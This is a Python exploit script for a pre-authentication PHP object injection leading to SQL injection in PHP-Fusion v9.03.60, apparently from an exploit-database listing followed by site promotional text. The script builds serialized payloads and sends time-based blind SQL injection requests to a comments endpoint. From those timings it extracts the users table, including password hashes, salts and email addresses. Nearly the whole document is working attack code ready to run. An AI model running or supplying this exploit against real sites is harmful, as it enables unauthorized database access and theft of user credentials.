`# Exploit Title: PHP-Fusion v9.03.60, PHP Object Injection to SQL injection (pre-auth)
# Date: 2020-05-26
# Exploit Author: coiffeur
# Vendor Homepage: https://www.php-fusion.co.uk/home.php
# Software Link: https://www.php-fusion.co.uk/php_fusion_9_downloads.php
# Version: v9.03.60
import sys
import requests
import subprocess
GENERATOR_NAME = "gen.php"
GENERATOR_CONTENT = """<?php
if (count($argv) < 2) {
echo 'Usage: php gen.php "<PAYLOAD>"';
die;
}
$ar["comment_item_id"] = "1";
$ar["comment_item_type"] = $argv[1];
$payload = urlencode(base64_encode(serialize($ar)));
echo $payload;
?>
"""
DEBUG = 1
DELTA = None
TRESHOLD = 0.60
LIKE = "f%admin"
COLUMNS = ["user_id", "user_name", "user_algo", "user_salt", "user_password",
"user_admin_algo", "user_admin_salt", "user_admin_password", "user_email"]
def usage():
banner = """NAME: PHPFusion v9.03.50, PHP Object Injection to SQL injection
SYNOPSIS: python poi_to_sqli_9.03.50.py <URL>
DESCRIPTION:
Dump the content of the table named fusionX...X_users
AUTHOR: coiffeur
"""
print(banner)
def generator(action):
if action == "w":
with open(GENERATOR_NAME, "w") as f:
f.write(GENERATOR_CONTENT)
if action == "r":
_ = subprocess.Popen(["rm", GENERATOR_NAME], stdout=subprocess.PIPE)
def generate_payload(text):
p = subprocess.Popen(["php", GENERATOR_NAME, text], stdout=subprocess.PIPE)
out, _ = p.communicate()
return out
def check(payload):
datas = {"comment_options": generate_payload(payload)}
r = requests.post(
url=f"{sys.argv[1]}/includes/classes/PHPFusion/Feedback/Comments.ajax.php", data=datas)
return r.elapsed.total_seconds()
def evaluate_delay():
global DELTA
deltas = []
payload = "' UNION SELECT SLEEP(2)-- - '"
for _ in range(3):
deltas.append(check(payload))
DELTA = sum(deltas)/len(deltas)
def get_tbl_name_len():
i = 0
while 1:
payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<{i} THEN SLEEP(2) ELSE 0 END) -- - '"
if check(payload) >= DELTA*TRESHOLD:
return i-1
if i > 100:
print(f"[x] Exploit failed")
exit(-1)
i += 1
def get_tbl_name(length):
tbl_name = ""
for i in range(1, length+1):
min, max = 0, 127-1
while min < max:
mid = (max + min) // 2
payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR(table_name,{i},1)) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '"
if check(payload) >= DELTA*TRESHOLD:
max = mid
else:
min = mid + 1
tbl_name += chr(min)
if DEBUG:
print(f"[DEBUG] Table name: {tbl_name}")
return tbl_name
def get_rows_number(tbl_name):
i = 0
while 1:
payload = f"' UNION SELECT (CASE WHEN (SELECT COUNT(user_name) FROM {tbl_name})>{i} THEN 0 ELSE SLEEP(2) END) -- - '"
if check(payload) >= DELTA*TRESHOLD:
return i
i += 1
def get_elt_len(tbl_name, column_name, offset):
i = 0
while 1:
payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH({column_name}) FROM {tbl_name} LIMIT 1 OFFSET {offset})<{i} THEN SLEEP(2) ELSE 0 END) -- - '"
if check(payload) >= DELTA*TRESHOLD:
if DEBUG:
print(
f"[DEBUG] Element {offset} in {column_name} from {tbl_name} length: {i-1}")
return i-1
i += 1
def get_elt(tbl_name, column_name, offset, length):
elt = ""
for i in range(1, length+1):
min, max = 0, 127-1
while min < max:
mid = (max + min) // 2
payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR({column_name},{i},1)) FROM {tbl_name} LIMIT 1 OFFSET {offset} )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '"
if check(payload) >= DELTA*TRESHOLD:
max = mid
else:
min = mid + 1
elt += chr(min)
if DEBUG:
print(
f"[DEBUG] Element {offset} in {column_name} from {tbl_name}: {elt}")
print(f"[*] Element {offset} in {column_name} from {tbl_name}: {elt}")
return elt
def get_rows(tbl_name, row_number):
print(f"[*] Trying to dump {tbl_name}")
rows = []
for offset in range(row_number):
row = []
for column_name in COLUMNS:
elt_length = get_elt_len(tbl_name, column_name, offset)
row.append(get_elt(tbl_name, column_name, offset, elt_length))
print(f"[*] Row {offset}: {row}")
rows.append(row)
print(f"[*] Rows: {rows}")
def main():
if len(sys.argv) < 2:
print(usage())
exit(-1)
if DEBUG:
print(f"[*] Target: {sys.argv[1]}")
if DEBUG:
print(f"[DEBUG] Writting generator to {GENERATOR_NAME}")
generator("w")
evaluate_delay()
if DEBUG:
print(f"[*] Delta: {DELTA}")
tbl_name_len = get_tbl_name_len()
if DEBUG:
print(
f"[DEBUG] Looking for table like {LIKE} with length {tbl_name_len}")
tbl_name = get_tbl_name(tbl_name_len)
print(f" Table name: {tbl_name}")
prefix = f"{tbl_name.split('_')[0]}_"
print(f"[*] Prefix: {prefix}")
user_table_name = f"{prefix}users"
number_of_rows = get_rows_number(user_table_name)
if DEBUG:
print(f"[*] {user_table_name} got {number_of_rows} rows")
get_rows(user_table_name, number_of_rows)
if DEBUG:
print(f"[DEBUG] Removing {GENERATOR_NAME}")
generator("r")
if __name__ == "__main__":
main()
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation